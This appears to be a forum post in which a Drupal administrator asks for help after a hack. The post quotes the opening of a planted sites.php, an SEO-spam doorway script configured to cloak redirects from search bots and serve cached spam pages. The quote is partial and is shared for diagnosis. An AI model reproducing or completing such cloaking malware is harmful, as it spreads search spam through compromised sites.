A drupal site that I installed on a university server has been hacked - it appears that a file sites.php has been uploaded in the hack and it's spitting out spammy pages from a .cache directory. So I've never had a drupal site hacked in 7 years of drupal usage so I'm trying to figure out what shat the bed - carless permissions, university sysadmin setup incorrect etc ....
here is a part of the code in sites.php / also uses a comm.php file:
<?php
// REVISION: $Rev: 1153 $
error_reporting(0);
ini_set('display_errors', 0);
header('Content-type: text/html; charset=utf-8');
set_magic_quotes_runtime(0);
class RemotePage
{
var $myUrl = 'http://your-domain.com/door_sample/';
//var $feedUrl = 'http://www.your-feed-domain.com/path/to/${key}/';
var $cacheDir = '.cache';
var $varName = 'bs';
var $waitTimeout = 60; // seconds
var $useCurl = 0;
var $googleRefNumToAllowRedirect = 100;
var $googleRefNumToAllowCloak = 100;
var $cloakMethod = 4; // 1 - 404 old, 2 - hides redirect for bots, 3 - 404 new, 4 - hides redirect for bots and non-google-refs
var $keywordSeparator = '-';
var $defaultPage = 'index';
var $searchReferers = 'live|msn|yahoo|google|ask|aol';
var $botIps = Array(